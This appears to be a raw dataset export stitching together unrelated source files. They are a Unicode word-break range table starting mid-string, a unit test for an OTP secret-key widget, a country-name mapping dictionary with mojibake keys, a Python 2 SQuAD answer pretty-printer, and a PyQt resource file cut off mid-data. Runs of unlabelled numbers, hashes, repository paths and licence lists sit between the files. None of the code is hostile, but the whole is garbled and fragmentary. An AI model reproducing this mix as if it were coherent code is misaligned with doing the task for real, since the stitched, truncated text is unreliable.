7f7\ua828-\ua83f\ua874-\ua87f\ua8c5-\ua8cf\ua8da-\ua8df\ua8f8-\ua8fa\ua8fc-\ua8ff\ua92e-\ua92f\ua954-\ua95f\ua97d-\ua97f\ua9c1-\ua9ce\ua9da-\ua9ff\uaa37-\uaa3f\uaa4e-\uaa4f\uaa5a-\uaa7a\uaa7c-\uaaaf\uaab1\uaab5-\uaab6\uaab9-\uaabd\uaac0\uaac2-\uaadf\uaaf0-\uaaf1\uaaf7-\uab00\uab07-\uab08\uab0f-\uab10\uab17-\uab1f\uab27\uab2f-\uabbf\uabeb\uabee-\uabef\uabfa-\uabff\ud7a4-\ud7af\ud7c7-\ud7ca\ud7fc-\ufaff\ufb07-\ufb12\ufb18-\ufb1c\ufb29\ufb37\ufb3d\ufb3f\ufb42\ufb45\ufbb2-\ufbd2\ufd3e-\ufd4f\ufd90-\ufd91\ufdc8-\ufdef\ufdfc-\ufdff\ufe11-\ufe12\ufe15-\ufe1f\ufe27-\ufe32\ufe35-\ufe4c\ufe51\ufe53\ufe56-\ufe6f\ufe75\ufefd-\ufefe\uff00-\uff06\uff08-\uff0b\uff0d\uff0f-\uff19\uff1c-\uff20\uff3b-\uff3e\uff40\uff5b-\uff65\uffbf-\uffc1\uffc8-\uffc9\uffd0-\uffd1\uffd8-\uffd9\uffdd-\ufff8\ufffc-\uffff\U0001000c\U00010027\U0001003b\U0001003e\U0001004e-\U0001004f\U0001005e-\U0001007f\U000100fb-\U0001013f\U00010175-\U000101fc\U000101fe-\U0001027f\U0001029d-\U0001029f\U000102d1-\U000102ff\U0001031f-\U0001032f\U0001034b-\U0001037f\U0001039e-\U0001039f\U000103c4-\U000103c7\U000103d0\U000103d6-\U000103ff\U0001049e-\U0001049f\U000104aa-\U000107ff\U00010806-\U00010807\U00010809\U00010836\U00010839-\U0001083b\U0001083d-\U0001083e\U00010856-\U000108ff\U00010916-\U0001091f\U0001093a-\U0001097f\U000109b8-\U000109bd\U000109c0-\U000109ff\U00010a04\U00010a07-\U00010a0b\U00010a14\U00010a18\U00010a34-\U00010a37\U00010a3b-\U00010a3e\U00010a40-\U00010a5f\U00010a7d-\U00010aff\U00010b36-\U00010b3f\U00010b56-\U00010b5f\U00010b73-\U00010bff\U00010c49-\U00010fff\U00011047-\U00011065\U00011070-\U0001107f\U000110bb-\U000110bc\U000110be-\U000110cf\U000110e9-\U000110ef\U000110fa-\U000110ff\U00011135\U00011140-\U0001117f\U000111c5-\U000111cf\U000111da-\U0001167f\U000116b8-\U000116bf\U000116ca-\U00011fff\U0001236f-\U000123ff\U00012463-\U00012fff\U0001342f-\U000167ff\U00016a39-\U00016eff\U00016f45-\U00016f4f\U00016f7f-\U00016f8e\U00016fa0-\U0001afff\U0001b001-\U0001d164\U0001d16a-\U0001d16c\U0001d183-\U0001d184\U0001d18c-\U0001d1a9\U0001d1ae-\U0001d241\U0001d245-\U0001d3ff\U0001d455\U0001d49d\U0001d4a0-\U0001d4a1\U0001d4a3-\U0001d4a4\U0001d4a7-\U0001d4a8\U0001d4ad\U0001d4ba\U0001d4bc\U0001d4c4\U0001d506\U0001d50b-\U0001d50c\U0001d515\U0001d51d\U0001d53a\U0001d53f\U0001d545\U0001d547-\U0001d549\U0001d551\U0001d6a6-\U0001d6a7\U0001d6c1\U0001d6db\U0001d6fb\U0001d715\U0001d735\U0001d74f\U0001d76f\U0001d789\U0001d7a9\U0001d7c3\U0001d7cc-\U0001d7cd\U0001d800-\U0001edff\U0001ee04\U0001ee20\U0001ee23\U0001ee25-\U0001ee26\U0001ee28\U0001ee33\U0001ee38\U0001ee3a\U0001ee3c-\U0001ee41\U0001ee43-\U0001ee46\U0001ee48\U0001ee4a\U0001ee4c\U0001ee50\U0001ee53\U0001ee55-\U0001ee56\U0001ee58\U0001ee5a\U0001ee5c\U0001ee5e\U0001ee60\U0001ee63\U0001ee65-\U0001ee66\U0001ee6b\U0001ee73\U0001ee78\U0001ee7d\U0001ee7f\U0001ee8a\U0001ee9c-\U0001eea0\U0001eea4\U0001eeaa\U0001eebc-\U000e0000\U000e0002-\U000e001f\U000e0080-\U000e00ff\U000e01f0-\U0010ffff" } ascii_word_break = { "^aletter": "\x00-\x40\x5c\x5b-\x60\x7b-\xa9\xab-\xb4\xb6-\xb9\xbb-\xbf\xd7\xf7", "^cr": "\x00-\x0c\x0e-\xff", "^extend": "\x00-\xff", "^extendnumlet": "\x00-\x5c\x5e\x60-\xff", "^format": "\x00-\xac\xae-\xff", "^katakana": "\x00-\xff", "^lf": "\x00-\x09\x0b-\xff", "^midletter": "\x00-\x39\x3b-\xb6\xb8-\xff", "^midnum": "\x00-\x2b\x5c\x2d-\x3a\x3c-\xff", "^midnumlet": "\x00-\x5c\x26\x28-\x5c\x2d\x2f-\xff", "^newline": "\x00-\x0a\x0d-\x84\x86-\xff", "^numeric": "\x00-\x2f\x3a-\xff", "^other": "\x0a-\x0d\x27\x2c\x2e\x30-\x3b\x41-\x5a\x5f\x61-\x7a\x85\xaa\xad\xb5\xb7\xba\xc0-\xd6\xd8-\xf6\xf8-\xff", "aletter": "\x41-\x5a\x61-\x7a\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\xff", "cr": "\x0d", "extend": "", "extendnumlet": "\x5f", "format": "\xad", "katakana": "", "lf": "\x0a", "midletter": "\x3a\xb7", "midnum": "\x2c\x3b", "midnumlet": "\x27\x2e", "newline": "\x0b-\x0c\x85", "numeric": "\x30-\x39", "other": "\x00-\x09\x0e-\x5c\x26\x28-\x2b\x5c\x2d\x2f\x3c-\x40\x5c\x5b-\x5c\x5e\x60\x7b-\x84\x86-\xa9\xab-\xac\xae-\xb4\xb6\xb8-\xb9\xbb-\xbf\xd7\xf7" }

582.95

7,703

0.787089

4,829

34,977

5.69911

0.471733

0.001308

0.001744

0.585807

0.553904

0.522219

0.475491

0.45587

0.436249

0

0.440641

0.009492

34,977

59

7,704

592.830508

0.353731

0.001601

0

0.070175

1

0.368421

0.979608

0.964428

0

1

0

false

0

0.017544

0

0.017544

0

null

0

1

0

1

0

1

null

0

8

5d97bba3b632ead38012a5268bf34987e6dc7474

8,182

py

Python

tests/widgets/test_secret_widget.py

hiroaki-yamamoto/WTF-OTP

e7c87839cbe8683dd1f691912156ac348dc98e67

[ "Unlicense", "MIT" ]

1

2019-06-27T06:47:25.000Z

tests/widgets/test_secret_widget.py

hiroaki-yamamoto/WTF-OTP

e7c87839cbe8683dd1f691912156ac348dc98e67

[ "Unlicense", "MIT" ]

2

2021-08-25T05:11:22.000Z

2022-01-29T02:51:57.000Z

tests/widgets/test_secret_widget.py

hiroaki-yamamoto/WTF-OTP

e7c87839cbe8683dd1f691912156ac348dc98e67

[ "Unlicense", "MIT" ]

null

#!/usr/bin/env python # coding=utf-8 """OTP Secret Ket Widget Tests.""" from unittest import TestCase try: from unittest.mock import MagicMock except ImportError: from mock import MagicMock from wtf_otp import OTPSecretKeyWidget class OTPTestField(object): """OTPTestField.""" def __init__(self): """Init the function.""" self.name = "test" self.id = "testid" self.render_kw = {} class OTPWidgetNormalInitTest(TestCase): """Normal Initialization Tests.""" def setUp(self): """Setup.""" self.field = OTPTestField() self.widget = OTPSecretKeyWidget() self.widget.templates.get_template = MagicMock() def test_call(self): """The widget should generate jquery based widget.""" self.widget(self.field, div_args={"class": "form-group"}) get_template = self.widget.templates.get_template get_template.assert_called_once_with("widget.html") get_template.return_value.render.assert_called_once_with( div_args={"class": "form-group"}, input_args=dict( id=self.field.id, name=self.field.name, **self.field.render_kw ), button_args={"id": "btn-" + self.field.id}, qrcode={}, script_args={} ) class OTPWidgetContainsDataTest(TestCase): """Normal initlaization, but it contains data.""" def setUp(self): """Setup.""" self.field = OTPTestField() self.field.data = "test" self.widget = OTPSecretKeyWidget() self.widget.templates.get_template = MagicMock() def test_call(self): """The widget should generate jquery based widget with the value.""" self.widget(self.field, div_args={"class": "form-group"}) get_template = self.widget.templates.get_template get_template.assert_called_once_with("widget.html") get_template.return_value.render.assert_called_once_with( div_args={"class": "form-group"}, input_args=dict( id=self.field.id, name=self.field.name, value=self.field.data, **self.field.render_kw ), button_args={"id": "btn-" + self.field.id}, qrcode={}, script_args={} ) class OTPWidgetAngularInitTest(TestCase): """AngularJS based initialization test.""" def setUp(self): """Setup.""" self.field = OTPTestField() self.field.render_kw = {"data-ng-model": "test.data"} self.widget = OTPSecretKeyWidget() self.widget.templates.get_template = MagicMock() def test_call(self): """The widget should generate AngularJS based view.""" self.widget( self.field, div_args={"class": "form-group"}, **self.field.render_kw ) ngmodel = self.field.render_kw.pop("data-ng-model") self.field.render_kw["data-ng-model"] = "ngModel" get_template = self.widget.templates.get_template get_template.assert_called_once_with("widget.html") get_template.return_value.render.assert_called_once_with( div_args={ "class": "form-group", ("data-otp-field{}").format(id(self.field)): True, "data-ng-model": ngmodel }, input_args=dict( id=self.field.id, name=self.field.name, **self.field.render_kw ), button_args={ "id": "btn-" + self.field.id, "data-ng-click": ("click{}()").format(id(self.field)) }, script_args={ "fieldid": id(self.field) }, qrcode={} ) class OTPAngularWidgetContainsDataTest(TestCase): """Normal initlaization, but it contains data.""" def setUp(self): """Setup.""" self.field = OTPTestField() self.field.render_kw = {"data-ng-model": "test.data"} self.field.data = "test" self.widget = OTPSecretKeyWidget() self.widget.templates.get_template = MagicMock() def test_call(self): """The widget should generate angular based widget with the value.""" self.widget( self.field, div_args={"class": "form-group"}, **self.field.render_kw ) ngmodel = self.field.render_kw.pop("data-ng-model") self.field.render_kw["data-ng-model"] = "ngModel" get_template = self.widget.templates.get_template get_template.assert_called_once_with("widget.html") get_template.return_value.render.assert_called_once_with( div_args={ "class": "form-group", ("data-otp-field{}").format(id(self.field)): True, "data-ng-model": ngmodel }, input_args=dict( id=self.field.id, name=self.field.name, **self.field.render_kw ), button_args={ "id": "btn-" + self.field.id, "data-ng-click": ("click{}()").format(id(self.field)) }, script_args={ "fieldid": id(self.field), "data": self.field.data }, qrcode={} ) class OTPWidgetJQueryQRCodeTest(TestCase): """JQuery QR-code Generation Tests.""" def setUp(self): """Setup.""" self.field = OTPTestField() self.widget = OTPSecretKeyWidget() self.widget.templates.get_template = MagicMock() def test_call(self): """The widget should generate jquery based widget with qrcode.""" self.widget( self.field, div_args={"class": "form-group"}, qrcode_url="/qrcode" ) get_template = self.widget.templates.get_template get_template.assert_called_once_with("widget.html") get_template.return_value.render.assert_called_once_with( div_args={"class": "form-group"}, input_args=dict( id=self.field.id, name=self.field.name, **self.field.render_kw ), button_args={"id": "btn-" + self.field.id}, qrcode={ "url": "/qrcode", "args": { "id": ("otpauthQR{}").format(self.field.id), "class": "otp-qrcode" } }, script_args={} ) class OTPWidgetAngularQRCodeTest(TestCase): """Angular QR-code Generation Tests.""" def setUp(self): """Setup.""" self.field = OTPTestField() self.field.render_kw = { "data-ng-model": "model.test" } self.widget = OTPSecretKeyWidget() self.widget.templates.get_template = MagicMock() def test_call(self): """The widget should generate angularjs based widget with qrcode.""" self.widget( self.field, div_args={"class": "form-group"}, qrcode_url="/qrcode", **self.field.render_kw ) ngmodel = self.field.render_kw.pop("data-ng-model") self.field.render_kw["data-ng-model"] = "ngModel" get_template = self.widget.templates.get_template get_template.assert_called_once_with("widget.html") get_template.return_value.render.assert_called_once_with( div_args={ "class": "form-group", ("data-otp-field{}").format(id(self.field)): True, "data-ng-model": ngmodel }, input_args=dict( id=self.field.id, name=self.field.name, **self.field.render_kw ), button_args={ "id": "btn-" + self.field.id, "data-ng-click": ("click{}()").format(id(self.field)) }, script_args={ "fieldid": id(self.field) }, qrcode={ "url": "/qrcode", "args": { "id": ("otpauthQR{}").format(self.field.id), "class": "otp-qrcode" } } )

33.670782

77

0.548888

857

8,182

5.084014

0.108518

0.130135

0.061969

0.070232

0.864127

0.858159

0

0.000178

0.313615

8,182

242

78

33.809917

0.775641

0.086165

0

0.747368

0

0.100678

0

0.063158

1

0.068421

false

0

0.026316

0

0.131579

0

null

0

1

0

1

0

null

0

7

5d99c0a860c86e05e6129d7be5f69e6f4fe9d39b

9,849

py

Python

src/data/country_dict.py

magnublo/msc-darkweb-scraping

7cfb20d9013534d2ad71c388ee59f70b8450773c

[ "MIT" ]

null

src/data/country_dict.py

magnublo/msc-darkweb-scraping

7cfb20d9013534d2ad71c388ee59f70b8450773c

[ "MIT" ]

null

src/data/country_dict.py

magnublo/msc-darkweb-scraping

7cfb20d9013534d2ad71c388ee59f70b8450773c

[ "MIT" ]

null

from typing import Dict COUNTRY_DICT: Dict[str, str] = {'Cape Verde': 'Republic of Cabo Verde', 'Cape Verde (c)': 'Republic of Cabo Verde', 'Cape Verde (C)': 'Republic of Cabo Verde', 'Cape Verde(c)': 'Republic of Cabo Verde', 'Cape Verde(C)': 'Republic of Cabo Verde', 'cape verde': 'Republic of Cabo Verde', 'cape verde (c)': 'Republic of Cabo Verde', 'cape verde (C)': 'Republic of Cabo Verde', 'cape verde(c)': 'Republic of Cabo Verde', 'cape verde(C)': 'Republic of Cabo Verde', 'CAPE VERDE': 'Republic of Cabo Verde', 'CAPE VERDE (c)': 'Republic of Cabo Verde', 'CAPE VERDE (C)': 'Republic of Cabo Verde', 'CAPE VERDE(c)': 'Republic of Cabo Verde', 'CAPE VERDE(C)': 'Republic of Cabo Verde', 'Cape verde': 'Republic of Cabo Verde', 'Cape verde (c)': 'Republic of Cabo Verde', 'Cape verde (C)': 'Republic of Cabo Verde', 'Cape verde(c)': 'Republic of Cabo Verde', 'Cape verde(C)': 'Republic of Cabo Verde', 'republic of cabo verde': 'Republic of Cabo Verde', 'republic of cabo verde (c)': 'Republic of Cabo Verde', 'republic of cabo verde (C)': 'Republic of Cabo Verde', 'republic of cabo verde(c)': 'Republic of Cabo Verde', 'republic of cabo verde(C)': 'Republic of Cabo Verde', 'Republic of Cabo Verde': 'Republic of Cabo Verde', 'Republic of Cabo Verde (c)': 'Republic of Cabo Verde', 'Republic of Cabo Verde (C)': 'Republic of Cabo Verde', 'Republic of Cabo Verde(c)': 'Republic of Cabo Verde', 'Republic of Cabo Verde(C)': 'Republic of Cabo Verde', 'REPUBLIC OF CABO VERDE': 'Republic of Cabo Verde', 'REPUBLIC OF CABO VERDE (c)': 'Republic of Cabo Verde', 'REPUBLIC OF CABO VERDE (C)': 'Republic of Cabo Verde', 'REPUBLIC OF CABO VERDE(c)': 'Republic of Cabo Verde', 'REPUBLIC OF CABO VERDE(C)': 'Republic of Cabo Verde', 'South Korea': 'Korea, Republic of', 'Korea': 'Korea, Republic of', 'Åland Islands': 'Finland', 'Ãland Islands': 'Finland', 'Republic of Korea': 'Korea, Republic of', 'south korea': 'Korea, Republic of', 'south korea (c)': 'Korea, Republic of', 'south korea (C)': 'Korea, Republic of', 'south korea(c)': 'Korea, Republic of', 'south korea(C)': 'Korea, Republic of', 'South Korea (c)': 'Korea, Republic of', 'South Korea (C)': 'Korea, Republic of', 'South Korea(c)': 'Korea, Republic of', 'South Korea(C)': 'Korea, Republic of', 'SOUTH KOREA': 'Korea, Republic of', 'SOUTH KOREA (c)': 'Korea, Republic of', 'SOUTH KOREA (C)': 'Korea, Republic of', 'SOUTH KOREA(c)': 'Korea, Republic of', 'SOUTH KOREA(C)': 'Korea, Republic of', 'South korea': 'Korea, Republic of', 'South korea (c)': 'Korea, Republic of', 'South korea (C)': 'Korea, Republic of', 'South korea(c)': 'Korea, Republic of', 'South korea(C)': 'Korea, Republic of', 'Southkorea': 'Korea, Republic of', 'Southkorea (c)': 'Korea, Republic of', 'Southkorea (C)': 'Korea, Republic of', 'Southkorea(c)': 'Korea, Republic of', 'Southkorea(C)': 'Korea, Republic of', 'SouthKorea': 'Korea, Republic of', 'SouthKorea (c)': 'Korea, Republic of', 'SouthKorea (C)': 'Korea, Republic of', 'SouthKorea(c)': 'Korea, Republic of', 'SouthKorea(C)': 'Korea, Republic of', 'KOREA': 'Korea, Republic of', 'KOREA (c)': 'Korea, Republic of', 'KOREA (C)': 'Korea, Republic of', 'KOREA(c)': 'Korea, Republic of', 'KOREA(C)': 'Korea, Republic of', 'korea': 'Korea, Republic of', 'korea (c)': 'Korea, Republic of', 'korea (C)': 'Korea, Republic of', 'korea(c)': 'Korea, Republic of', 'korea(C)': 'Korea, Republic of', 'Korea (c)': 'Korea, Republic of', 'Korea (C)': 'Korea, Republic of', 'Korea(c)': 'Korea, Republic of', 'Korea(C)': 'Korea, Republic of', 'Republic of Korea (c)': 'Korea, Republic of', 'Republic of Korea (C)': 'Korea, Republic of', 'Republic of Korea(c)': 'Korea, Republic of', 'Republic of Korea(C)': 'Korea, Republic of', 'REPUBLIC OF KOREA': 'Korea, Republic of', 'REPUBLIC OF KOREA (c)': 'Korea, Republic of', 'REPUBLIC OF KOREA (C)': 'Korea, Republic of', 'REPUBLIC OF KOREA(c)': 'Korea, Republic of', 'REPUBLIC OF KOREA(C)': 'Korea, Republic of', 'republic of korea': 'Korea, Republic of', 'republic of korea (c)': 'Korea, Republic of', 'republic of korea (C)': 'Korea, Republic of', 'republic of korea(c)': 'Korea, Republic of', 'republic of korea(C)': 'Korea, Republic of', 'Korea, Republic of': 'Korea, Republic of', 'Korea, Republic of (c)': 'Korea, Republic of', 'Korea, Republic of (C)': 'Korea, Republic of', 'Korea, Republic of(c)': 'Korea, Republic of', 'Korea, Republic of(C)': 'Korea, Republic of', 'KOREA, REPUBLIC OF': 'Korea, Republic of', 'KOREA, REPUBLIC OF (c)': 'Korea, Republic of', 'KOREA, REPUBLIC OF (C)': 'Korea, Republic of', 'KOREA, REPUBLIC OF(c)': 'Korea, Republic of', 'KOREA, REPUBLIC OF(C)': 'Korea, Republic of', 'korea, republic of': 'Korea, Republic of', 'korea, republic of (c)': 'Korea, Republic of', 'korea, republic of (C)': 'Korea, Republic of', 'korea, republic of(c)': 'Korea, Republic of', 'korea, republic of(C)': 'Korea, Republic of', 'åland islands': 'Finland', 'åland islands (c)': 'Finland', 'åland islands (C)': 'Finland', 'åland islands(c)': 'Finland', 'åland islands(C)': 'Finland', 'ÅLAND ISLANDS': 'Finland', 'ÅLAND ISLANDS (c)': 'Finland', 'ÅLAND ISLANDS (C)': 'Finland', 'ÅLAND ISLANDS(c)': 'Finland', 'ÅLAND ISLANDS(C)': 'Finland', 'Åland Islands (c)': 'Finland', 'Åland Islands (C)': 'Finland', 'Åland Islands(c)': 'Finland', 'Åland Islands(C)': 'Finland', 'Åland islands': 'Finland', 'Åland islands (c)': 'Finland', 'Åland islands (C)': 'Finland', 'Åland islands(c)': 'Finland', 'Åland islands(C)': 'Finland', 'Ålandislands': 'Finland', 'Ålandislands (c)': 'Finland', 'Ålandislands (C)': 'Finland', 'Ålandislands(c)': 'Finland', 'Ålandislands(C)': 'Finland', 'ÅlandIslands': 'Finland', 'ÅlandIslands (c)': 'Finland', 'ÅlandIslands (C)': 'Finland', 'ÅlandIslands(c)': 'Finland', 'ÅlandIslands(C)': 'Finland', 'Ãland Islands (c)': 'Finland', 'Ãland Islands (C)': 'Finland', 'Ãland Islands(c)': 'Finland', 'Ãland Islands(C)': 'Finland', 'ÃLAND ISLANDS': 'Finland', 'ÃLAND ISLANDS (c)': 'Finland', 'ÃLAND ISLANDS (C)': 'Finland', 'ÃLAND ISLANDS(c)': 'Finland', 'ÃLAND ISLANDS(C)': 'Finland', 'ãland islands': 'Finland', 'ãland islands (c)': 'Finland', 'ãland islands (C)': 'Finland', 'ãland islands(c)': 'Finland', 'ãland islands(C)': 'Finland', 'finland': 'Finland', 'finland (c)': 'Finland', 'finland (C)': 'Finland', 'finland(c)': 'Finland', 'finland(C)': 'Finland', 'FINLAND': 'Finland', 'FINLAND (c)': 'Finland', 'FINLAND (C)': 'Finland', 'FINLAND(c)': 'Finland', 'FINLAND(C)': 'Finland', 'Finland': 'Finland', 'Finland (c)': 'Finland', 'Finland (C)': 'Finland', 'Finland(c)': 'Finland', 'Finland(C)': 'Finland', 'the Former Yugoslav Republic of': "North Macedonia"}

93.8

120

0.443091

927

9,849

4.70658

0.026969

0.357552

0.30942

0.220032

0.976851

0.974559

0.966766

0.958744

0

0.415372

9,849

104

121

94.701923

0.757728

0

0.543689

0

0.52716

0

1

0

true

0

0.009709

0

0.009709

0

null

1

0

null

0

1

0

10

5da1a520c4cec4708b1dd55d74a9036b36aa98a1

130

py

Python

imagenet/regression-pruning/models/__init__.py

TanayNarshana/rethinking-network-pruning

85360333c909d539880ff59101c7b5f9609789f7

[ "MIT" ]

null

imagenet/regression-pruning/models/__init__.py

TanayNarshana/rethinking-network-pruning

85360333c909d539880ff59101c7b5f9609789f7

[ "MIT" ]

null

imagenet/regression-pruning/models/__init__.py

TanayNarshana/rethinking-network-pruning

85360333c909d539880ff59101c7b5f9609789f7

[ "MIT" ]

null

from models.vgg_5x import vgg_5x, vgg_official from models.resnet_2x import resnet_2x from models.resnet import resnet50_official

32.5

46

0.869231

22

130

4.863636

0.409091

0.280374

0.299065

0

0.051282

0.1

130

3

47

43.333333

0.863248

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

5dc867064feb8f707012f2f5d8e528c497e47ba7

6,602

py

Python

code/pretty_print.py

gakgsr/NLP-2018

20a89bb4194676ed1c0186bfcf72db026124446f

[ "Apache-2.0" ]

null

code/pretty_print.py

gakgsr/NLP-2018

20a89bb4194676ed1c0186bfcf72db026124446f

[ "Apache-2.0" ]

null

code/pretty_print.py

gakgsr/NLP-2018

20a89bb4194676ed1c0186bfcf72db026124446f

[ "Apache-2.0" ]

null

# Copyright 2018 Stanford University # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """This file contains functions to pretty-print a SQuAD example""" from colorama import Fore, Back, Style from vocab import _PAD # See here for more colorama formatting options: # https://pypi.python.org/pypi/colorama def yellowtext(s): """Yellow text""" return Fore.YELLOW + Style.BRIGHT + s + Style.RESET_ALL + Fore.RESET def greentext(s): """Green text""" return Fore.GREEN + Style.BRIGHT + s + Style.RESET_ALL + Fore.RESET def redtext(s): """Red text""" return Fore.RED + Style.BRIGHT + s + Style.RESET_ALL + Fore.RESET def redback(s): """Red background""" return Back.RED + s + Back.RESET def magentaback(s): """Magenta background""" return Back.MAGENTA + s + Back.RESET def print_example(word2id, context_tokens, qn_tokens, true_ans_start, true_ans_end, pred_ans_start, pred_ans_end, true_answer, pred_answer, f1, em): """ Pretty-print the results for one example. Inputs: word2id: dictionary mapping word (string) to word id (int) context_tokens, qn_tokens: lists of strings, no padding. Note these do *not* contain UNKs. true_ans_start, true_ans_end, pred_ans_start, pred_ans_end: ints true_answer, pred_answer: strings f1: float em: bool """ # Get the length (no padding) of this context curr_context_len = len(context_tokens) # Highlight out-of-vocabulary tokens in context_tokens context_tokens = [w if w in word2id else "_%s_" % w for w in context_tokens] # Highlight the true answer green. # If the true answer span isn't in the range of the context_tokens, then this context has been truncated truncated = False for loc in range(true_ans_start, true_ans_end+1): if loc in range(curr_context_len): context_tokens[loc] = greentext(context_tokens[loc]) else: truncated = True # Check that the predicted span is within the range of the context_tokens assert pred_ans_start in range(curr_context_len) assert pred_ans_end in range(curr_context_len) # Highlight the predicted start and end positions # Note: the model may predict the end position as before the start position, in which case the predicted answer is an empty string. context_tokens[pred_ans_start] = magentaback(context_tokens[pred_ans_start]) context_tokens[pred_ans_end] = redback(context_tokens[pred_ans_end]) # Print out the context print "CONTEXT: (%s is true answer, %s is predicted start, %s is predicted end, _underscores_ are unknown tokens). Length: %i" % (greentext("green text"), magentaback("magenta background"), redback("red background"), len(context_tokens)) print " ".join(context_tokens) # Print out the question, true and predicted answer, F1 and EM score question = " ".join(qn_tokens) print yellowtext("{:>20}: {}".format("QUESTION", question)) if truncated: print redtext("{:>20}: {}".format("TRUE ANSWER", true_answer)) print redtext("{:>22}(True answer was truncated from context)".format("")) else: print yellowtext("{:>20}: {}".format("TRUE ANSWER", true_answer)) print yellowtext("{:>20}: {}".format("PREDICTED ANSWER", pred_answer)) print yellowtext("{:>20}: {:4.3f}".format("F1 SCORE ANSWER", f1)) print yellowtext("{:>20}: {}".format("EM SCORE", em)) print "" def print_example_attn(word2id, context_tokens, qn_tokens, qn_attn, true_ans_start, true_ans_end, pred_ans_start, pred_ans_end, true_answer, pred_answer, f1, em): """ Pretty-print the results for one example. Inputs: word2id: dictionary mapping word (string) to word id (int) context_tokens, qn_tokens: lists of strings, no padding. Note these do *not* contain UNKs. true_ans_start, true_ans_end, pred_ans_start, pred_ans_end: ints true_answer, pred_answer: strings f1: float em: bool """ # Get the length (no padding) of this context curr_context_len = len(context_tokens) # Highlight out-of-vocabulary tokens in context_tokens context_tokens = [w if w in word2id else "_%s_" % w for w in context_tokens] # Highlight the true answer green. # If the true answer span isn't in the range of the context_tokens, then this context has been truncated truncated = False for loc in range(true_ans_start, true_ans_end+1): if loc in range(curr_context_len): context_tokens[loc] = greentext(context_tokens[loc]) else: truncated = True # Check that the predicted span is within the range of the context_tokens assert pred_ans_start in range(curr_context_len) assert pred_ans_end in range(curr_context_len) # Highlight the predicted start and end positions # Note: the model may predict the end position as before the start position, in which case the predicted answer is an empty string. context_tokens[pred_ans_start] = magentaback(context_tokens[pred_ans_start]) context_tokens[pred_ans_end] = redback(context_tokens[pred_ans_end]) # Print out the context print "CONTEXT: (%s is true answer, %s is predicted start, %s is predicted end, _underscores_ are unknown tokens). Length: %i" % (greentext("green text"), magentaback("magenta background"), redback("red background"), len(context_tokens)) print " ".join(context_tokens) # Print out the question, true and predicted answer, F1 and EM score question = " ".join(qn_tokens) print yellowtext("{:>20}: {}".format("QUESTION", question)) print " ".join(qn_attn) if truncated: print redtext("{:>20}: {}".format("TRUE ANSWER", true_answer)) print redtext("{:>22}(True answer was truncated from context)".format("")) else: print yellowtext("{:>20}: {}".format("TRUE ANSWER", true_answer)) print yellowtext("{:>20}: {}".format("PREDICTED ANSWER", pred_answer)) print yellowtext("{:>20}: {:4.3f}".format("F1 SCORE ANSWER", f1)) print yellowtext("{:>20}: {}".format("EM SCORE", em)) print ""

42.320513

241

0.698273

944

6,602

4.725636

0.192797

0.093253

0.0269

0.035866

0.803631

0.791078

0.766196

0

0.010937

0.196759

6,602

156

242

42.320513

0.830285

0.269767

0

0.769231

0

0.030769

0.179209

0

0.061538

0

null

0

0.030769

null

0.353846

0

null

0

1

0

1

0

null

0

1

0

8

5dfde5c70819d326703278ba41ab8e7097696174

3,061

py

Python

varmixviewer/resources.py

FlorianTimm/VarMixViewer

56ab8e4c9320849f1e5c22eca789302d0f9f4fd4

[ "MIT" ]

null

varmixviewer/resources.py

FlorianTimm/VarMixViewer

56ab8e4c9320849f1e5c22eca789302d0f9f4fd4

[ "MIT" ]

null

varmixviewer/resources.py

FlorianTimm/VarMixViewer

56ab8e4c9320849f1e5c22eca789302d0f9f4fd4

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Resource object code # # Created by: The Resource Compiler for PyQt5 (Qt v5.10.1) # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore qt_resource_data = b"\ \x00\x00\x01\x43\ \x89\ \x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\ \x00\x00\x18\x00\x00\x00\x18\x08\x06\x00\x00\x00\xe0\x77\x3d\xf8\ \x00\x00\x00\x04\x73\x42\x49\x54\x08\x08\x08\x08\x7c\x08\x64\x88\ \x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0b\x13\x00\x00\x0b\x13\ \x01\x00\x9a\x9c\x18\x00\x00\x00\xe5\x49\x44\x41\x54\x48\x89\xed\ \x94\x3d\x0a\xc2\x40\x10\x46\xdf\x8a\x10\x7f\x0a\x6d\x6d\x3c\x99\ \x78\x03\x2d\xc4\x56\x50\x72\x16\x6d\x6c\x3c\x80\xbd\xd8\xe8\x05\ \x8c\x17\xd0\x0b\x98\xc2\x58\xb8\x91\x75\x65\x36\x1b\x92\x08\x82\ \x03\xcb\x26\xdf\x84\xf7\x92\x09\x89\x02\x12\x2a\xac\x5a\x95\xf0\ \xaf\x08\xea\xd6\xb9\x2a\x89\xfb\x1a\xfb\xef\x8f\x28\x4b\xd0\x02\ \x42\x20\x02\x62\xbd\x2f\x80\x66\x1e\x49\x62\x2c\x1b\xbe\xb7\xfa\ \xe9\xda\x65\x48\xde\x98\x92\x20\x14\xe0\xe9\x9a\x17\x15\x44\x46\ \x3e\x01\x02\x60\x6a\x64\xa7\xa2\x82\xd8\xc8\x03\x9d\x35\x8c\xec\ \xe6\x23\x70\xbd\xe4\xb3\x71\x3c\xd2\xf0\xb1\xd0\x77\x96\xf4\x04\ \x33\xe4\xf9\x27\xba\xef\xc5\x94\x04\x5d\xe0\x2a\xc0\x2f\x40\xa7\ \xa8\x00\x60\x28\x08\x06\x0e\x78\x2e\x01\xc0\xca\xba\x66\xa9\x73\ \x05\x6c\x84\x1b\xc8\x25\x68\x03\x47\xdd\x3f\xf0\xfc\x00\x01\xfa\ \x1e\x70\x2f\x01\x40\x0f\xd8\xea\x3d\x2d\x05\xac\x81\xbb\x4b\xa0\ \x2c\xf0\xff\x77\xfd\x51\xf6\x88\x4a\xaf\xdf\x1f\xd1\x03\xc6\x86\ \x90\x6b\xb5\x81\x04\x79\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\ \x60\x82\ " qt_resource_name = b"\ \x00\x07\ \x07\x3b\xe0\xb3\ \x00\x70\ 